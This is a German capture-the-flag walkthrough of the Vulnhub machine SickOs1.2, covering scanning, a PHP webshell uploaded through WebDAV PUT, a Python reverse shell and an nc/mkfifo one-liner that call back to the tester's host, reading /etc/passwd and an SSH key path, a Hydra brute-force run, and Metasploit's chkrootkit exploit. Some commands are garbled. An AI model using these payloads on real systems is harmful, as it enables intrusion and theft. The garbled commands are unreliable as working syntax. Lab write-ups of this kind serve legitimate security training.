SickOs1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
curl
wfuzz
msfconsole
nc
find
cat
ls
cd

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit einem ARP-Scan, um die IP-Adresse des Ziels im lokalen Netzwerk zu ermitteln.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.130 08:00:27:52:6c:03 PCS Systemtechnik GmbH
                

Der ARP-Scan hat die IP-Adresse 192.168.2.130 des Zielsystems ermittelt. Die MAC-Adresse ist 08:00:27:52:6c:03, und der Hersteller ist PCS Systemtechnik GmbH.

Wir fügen nun die IP-Adresse und den Hostnamen in die /etc/hosts-Datei ein, um die spätere Verwendung zu erleichtern.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
  192.168.2.130 sick.vln
                

Wir haben die IP-Adresse und den Hostnamen in die /etc/hosts-Datei eingefügt. Dies ermöglicht uns, den Hostnamen `sick.vln` anstelle der IP-Adresse zu verwenden.

Wir verwenden Nikto, um den Webserver auf Port 80 auf Schwachstellen zu scannen. Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft.

Web Enumeration

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.130
- Nikto v2.5.0

+ Target IP:          192.168.2.130
+ Target Hostname:    192.168.2.130
+ Target Port:        80
+ Start Time:         2023-12-02 22:46:58 (GMT1)

+ Server: lighttpd/1.4.28
+ /: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21.
+ /: The anti-clickjacking X-Frame-Options header is not present. See:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a
different fashion to the MIME type. See:
https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: PTINS, GET, HEAD, PST .
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that
contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that
contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that
contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that
contain specific QUERY strings. See: SVDB-12184
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2023-12-02 22:47:09 (GMT1) (11 seconds)

+ 1 host(s) tested
                

Nikto hat mehrere interessante Punkte gefunden:

Wir führen nun einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.130 -p- | grep open
22/tcp open  ssh     penSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
                

Der Nmap-Scan hat die folgenden offenen Ports identifiziert:

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.130 -p-
#Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-02 22:46 CET
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for sick.vln (192.168.2.130)
Host is up (0.00019s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh penSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
| 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open http lighttpd 1.4.28
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: lighttpd/1.4.28
MAC Address: 08:00:27:52:6C:03 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (93%),
Linux 4.2 (90%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 3.13 - 3.16 (87%), Linux 3.16 (87%), OpenWrt Chaos Calmer
15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
                

Der vollständige Nmap-Scan bestätigt die oben genannten Dienste und liefert zusätzliche Details wie die SSH-Hostkeys und die wahrscheinliche Linux-Kernel-Version.

Wir verwenden Gobuster, um nach weiteren Verzeichnissen und Dateien auf dem Webserver zu suchen.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://sick.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://sick.vln/index.php (Status: 200) [Size: 163]
http://sick.vln/test (Status: 301) [Size: 0] [--> http://sick.vln/test/]
http://sick.vln/blow.jpg (Status: 200) [Size: 46878]
                

Gobuster hat die Dateien index.php, blow.jpg und das Verzeichnis /test/ gefunden.

Initial Access

Wir haben festgestellt, dass die Webseite mit lighttpd betrieben wird und eine Directory Listing im Ordner /test/ aktiviert ist. Wir versuchen, die dort gefundenen Möglichkeiten auszunutzen.

Zuerst versuchen wir, die PTINS-Methode auf das Verzeichnis /test/ anzuwenden. PTINS ist eine nicht standardisierte HTTP-Methode, die möglicherweise zur Manipulation von Dateien verwendet werden kann.

┌──(root㉿cyber)-[~]
└─# curl -v -X PTINS http://sick.vln/test/
*   Trying 192.168.2.130:80...
* Connected to sick.vln (192.168.2.130) port 80
> OPTIONS /test/ HTTP/1.1
> Host: sick.vln
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Sat, 02 Dec 2023 22:42:35 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host sick.vln left intact
                

Die PTINS-Methode scheint nicht direkt zu funktionieren. Wir versuchen, eine PHP-Datei mit der PUT-Methode hochzuladen und diese dann auszuführen.

┌──(root㉿cyber)-[~]
└─# curl -v -X PUT -d ' system($ GET["cmd"]); ' http://sick.vln/test/shell.php
*   Trying 192.168.2.130:80...
* Connected to sick.vln (192.168.2.130) port 80
> PUT /test/shell.php HTTP/1.1
> Host: sick.vln
> User-Agent: curl/8.4.0
> Accept: */*
> Content-Length: 30
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 201 Created
< Content-Length: 0
< Date: Sat, 02 Dec 2023 22:45:37 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host sick.vln left intact
                

Der Upload war erfolgreich. Wir versuchen nun, den Befehl "id" über die hochgeladene Datei auszuführen.


http://sick.vln/test/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                

Die Befehlsausführung funktioniert! Wir haben eine Webshell. Der Benutzer ist www-data.

Wir nutzen diese Webshell nun, um das System weiter zu untersuchen. Als Nächstes versuchen wir, die /etc/passwd-Datei auszulesen, um Benutzerinformationen zu erhalten.


view-source:http://sick.vln/test/shell.php?cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:104::/var/run/dbus:/bin/false
john:x:1000:1000:Ubuntu 12.x,,,:/home/john:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
                

Wir haben die /etc/passwd-Datei ausgelesen. Es gibt den Benutzer "john". Wir versuchen, uns den SSH Key von den benutzer john zu holen


view-source:http://sick.vln/test/shell.php?cmd=cat%20/home/john/.ssh/id_rsa
                

Wir haben den Inhalt der id_rsa-Datei erhalten. Da wir das Passwort nicht haben, versuchen wir es mit Hydra, um uns via SSH zu verbinden.

┌──(root㉿cyber)-[~]
└─# hydra -l john -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.130:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-02 23:49:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent
overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344483 login tries (l:1/p:14344483), ~224133 tries per task
[DATA] attacking ssh://192.168.2.130:22/
[STATUS] 164.00 tries/min, 164 tries in 00:01h, 14344373 to do in 1457:46h, 10 active
                

Nach längerem Warten stellen wir fest, dass wir mit dem Ausprobieren von Passwörtern nicht weiterkommen. Wir versuchen, eine Reverse Shell zu erhalten, um eine interaktive Shell zu erhalten, da wir die gefundenen Anmeldedaten nicht knacken können.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...
                

Nun müssen wir den Reverse-Shell-Code ausführen, um eine Verbindung herzustellen.

Payload:
view-source:http://sick.vln/test/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.2.199%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
                

Wir führen den Reverse-Shell-Code aus.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.130] 52652
/bin/sh: 0: can't access tty; job control turned off
$
                

Wir haben eine Reverse Shell als Benutzer www-data!

Privilege Escalation

Nachdem wir eine Reverse Shell haben, können wir das System weiter untersuchen, um eine Möglichkeit zur Privilege Escalation zu finden.

Wir sehen nach, ob die aktuelle Shell ein TTY hat, um Jobkontrolle zu ermöglichen.


/bin/sh: 0: can't access tty; job control turned off
$
                

Wir sehen nach, ob der aktuelle Benutzer ein TTY hat


www-data@ubuntu:/var/www$ ls -la
total 64
drwxr-xr-x 3 root root 4096 Apr 25 2016 .
drwxr-xr-x 12 root root 4096 Apr 26 2016 ..
-rw-r--r-- 1 root root 46878 Apr 25 2016 blow.jpg
-rw-r--r-- 1 root root 163 Apr 25 2016 index.php
drwxr-xr-x 2 www-data www-data 4096 Dec 2 14:45 test
                

Wir suchen nach interessanten Dingen im /home-Verzeichnis, um weitere Informationen zu erhalten.


www-data@ubuntu:/home$ ls -a
. .. john
                

Wir wechseln nun zum /home/john/-Verzeichnis

www-data@ubuntu:/home$ cd john/

            
www-data@ubuntu:/home/john$ ls -la
total 28
drwxr-xr-x 3 john john 4096 Apr 12 2016 .
drwxr-xr-x 3 root root 4096 Mar 30 2016 ..
-rw-r-- 1 john john 61 Apr 26 2016 .bash_history
-rw-r--r-- 1 john john 220 Mar 30 2016 .bash_logout
-rw-r--r-- 1 john john 3486 Mar 30 2016 .bashrc
drwx 2 john john 4096 Mar 30 2016 .cache
-rw-r--r-- 1 john john 675 Mar 30 2016 .profile
                

Wir sehen nun nach ob es Dateien mit SUID Berechtigungen gibt.

www-data@ubuntu:/home/john$ find / -type f -perm -4000 -ls 2>/dev/null
667707 268 -rwsr-xr-- 1 root dip 273272 Feb 4 2011 /usr/sbin/pppd
667843 20 -rwsr-sr-x 1 libuuid libuuid 17976 Mar 29 2012 /usr/sbin/uuidd
786948 8 -rwsr-xr-x 1 root root 5564 Dec 13 2011 /usr/lib/eject/dmcrypt-get-device
1055122 244 -rwsr-xr-x 1 root root 248056 Jan 13 2016 /usr/lib/openssh/ssh-keysign
668412 12 -rwsr-xr-x 1 root root 9728 Feb 16 2016 /usr/lib/pt_chown
668120 12 -r-sr-xr-x 1 root root 9532 Mar 30 2016 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
668337 16 -r-sr-xr-x 1 root root 14320 Mar 30 2016 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
1182917 312 -rwsr-xr-- 1 root messagebus 316824 Jun 13 2013 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
660925 72 -rwsr-xr-x 2 root root 69708 Feb 27 2013 /usr/bin/sudoedit
667308 16 -rwsr-xr-x 1 root root 14012 Nov 8 2011 /usr/bin/traceroute6.iputils
660925 72 -rwsr-xr-x 2 root root 69708 Feb 27 2013 /usr/bin/sudo
659044 32 -rwsr-xr-x 1 root root 31748 Sep 12 2012 /usr/bin/chsh
659043 44 -rwsr-xr-x 1 root root 41284 Sep 12 2012 /usr/bin/passwd
659041 40 -rwsr-xr-x 1 root root 40292 Sep 12 2012 /usr/bin/chfn
667072 44 -rwsr-sr-x 1 daemon daemon 42800 Oct 25 2011 /usr/bin/at
667649 56 -rwsr-xr-x 1 root root 56208 Jul 28 2011 /usr/bin/mtr
659047 60 -rwsr-xr-x 1 root root 57956 Sep 12 2012 /usr/bin/gpasswd
658916 32 -rwsr-xr-x 1 root root 30896 Sep 12 2012 /usr/bin/newgrp
1179695 88 -rwsr-xr-x 1 root root 88760 Mar 29 2012 /bin/mount
1179715 40 -rwsr-xr-x 1 root root 39116 Nov 8 2011 /bin/ping6
1182983 28 -rwsr-xr-x 1 root root 26252 Mar 2 2012 /bin/fusermount
1179696 68 -rwsr-xr-x 1 root root 67720 Mar 29 2012 /bin/umount
1179714 36 -rwsr-xr-x 1 root root 34740 Nov 8 2011 /bin/ping
1179689 32 -rwsr-xr-x 1 root root 31116 Sep 12 2012 /bin/su
                

Wir überprüfen, ob der Benutzer "john" Sudo rechte hat

www-data@ubuntu:/opt$ cat /etc/crontab
                

Wir sehen das es keine interessanten Informationen gab

Wir untersuchen die Cronjobs.

www-data@ubuntu:/opt$ ls /etc/cron.daily/ -la
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 Dec 2 14:45 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
                

Wir suchen nach einem Exploit, der chkrootkit ausnutzt.

┌──(root㉿cyber)-[~]
└─# msfconsole -q

            

Wir werden unsere Shell wiederherstellen, die wir schon zuvor genutzt haben

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
                
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
                
msf6 exploit(multi/handler) > set lport 443
lport => 4455
                
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.199:443
                

Wir benutzen den Code von vorhin, um mit dem Port 443 zur selben Maschine eine Verbindung aufzubauen.


168.2.199 443 >/tmp/frm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.
rm: cannot remove `/tmp/f': No such file or directory
                
view-source:http://sick.vln/test/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SCK_STREAM);s.connect((%22192.168.2.199%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

            

[*] Started reverse TCP handler on 192.168.2.199:443
[*] Command shell session 1 opened (192.168.2.199:443 -> 192.168.2.130:52652) at 2023-12-03 00:16:16 +0100
                

Wir haben wieder eine Session

Shell Banner:
/bin/sh: 0: can't access tty; job control turned off
$
                

Nun nutzen wir den Multi-Recon Local Exploit Suggester

msf6 exploit(multi/handler) > search suggester

Matching Modules


   #  Name Disclosure Date Rank Check Description
   - --- -- --
   0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
                
msf6 exploit(multi/handler) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set lport 4455
                
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
                
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.130 - Collecting local exploits for sparc/bsd...
                

[*] Stopping exploit/multi/handler
use multi/recon/local_exploit_suggester
                
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
                
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.130 - Collecting local exploits for x86/linux...
[*] 192.168.2.130 - 188 exploit checks are being tried...
[+] 192.168.2.130 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.130 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.2.130 - exploit/linux/local/sudoedit_bypass_priv_esc: The target appears to be vulnerable. Sudo 1.8.3p1.pre.1ubuntu3.4 is vulnerable, but unable to determine editable file. S can NT be exploited by this module
[*] Running check method for exploit 58 / 58
[*] 192.168.2.130 - Valid modules for session 2:

 # Name Potentially Vulnerable? Check Result
 - --- -- --
 1 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
 2 exploit/linux/local/su_login Yes The target appears to be vulnerable.
 3 exploit/linux/local/sudoedit_bypass_priv_esc Yes The target appears to be vulnerable. Sudo 1.8.3p1.pre.1ubuntu3.4 is vulnerable, but unable to determine editable file. S can NT be exploited by this module
                

Netfilter, su_login, Sudoedit sind anfällig


msf6 post(multi/recon/local_exploit_suggester) > search chkrootkit
                


Matching Modules


   #  Name Disclosure Date Rank Check Description
   - --- -- --
   0 exploit/unix/local/chkrootkit 2014-06-04 manual Yes Chkrootkit Local Privilege Escalation

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/local/chkrootkit
                

Wir nutzen den Chkrootkit Exploit

msf6 post(multi/recon/local_exploit_suggester) > use 0
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
                
msf6 exploit(unix/local/chkrootkit) > options

Module options (exploit/unix/local/chkrootkit):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 CHKRTKIT /usr/sbin/chkrootkit yes Path to chkrootkit
 SESSIN yes The session to run this module on

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 LHOST 192.168.2.199 yes The listen address (an interface may be specified)
 LPORT 4444 yes The listen port

Exploit target:

 Id Name
 -- ----
 0 Automatic
                
msf6 exploit(unix/local/chkrootkit) > set CHKRTKIT /usr/sbin/chkrootkit
CHKRTKIT => /usr/sbin/chkrootkit
                
msf6 exploit(unix/local/chkrootkit) > set session 2
session => 2
                
msf6 exploit(unix/local/chkrootkit) > run
                        

Geschafft! Wir haben es zum Ziel geschafft und eine neue Sitzung.



[!] SESSIN may not be compatible with this module:
[!] * incompatible session platform: linux[*] Started reverse TCP handler on 192.168.2.199:8080 
[!] Rooting depends on the crontab (this could take a while)
[*] Payload written to /tmp/update
[*] Waiting for chkrootkit to run via cron...
[*] Sending stage (24772 bytes) to 192.168.2.130
[+] Deleted /tmp/update
[*] Meterpreter session 3 opened (192.168.2.199:8080 -> 192.168.2.130:57666) at 2023-12-03 00:26:59 +0100
                
meterpreter > shell
Process 1668 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
cd ~
                

ls -la
total 76
drwx 4 root root 4096 Apr 26 2016 .
drwxr-xr-x 22 root root 4096 Mar 30 2016 ..
-rw-r--r-- 1 root root 39421 Apr 9 2015 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
-r-- 1 root root 491 Apr 26 2016 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
-rw- 1 root root 3066 Apr 26 2016 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
drwx 2 root root 4096 Apr 12 2016 .cache
drwxr-xr-x 2 john john 4096 Apr 12 2016 chkrootkit-0.49
-rw-r--r-- 1 root root 541 Apr 25 2016 newRule
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
                
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed Sicks1.2, the challenge is more focused on elimination of tool in real
scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using
different methods, though while developing many of the tools were limited/completely blocked, to get a feel of ld School and testing it
manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.
                

Flags

cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A
cat user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6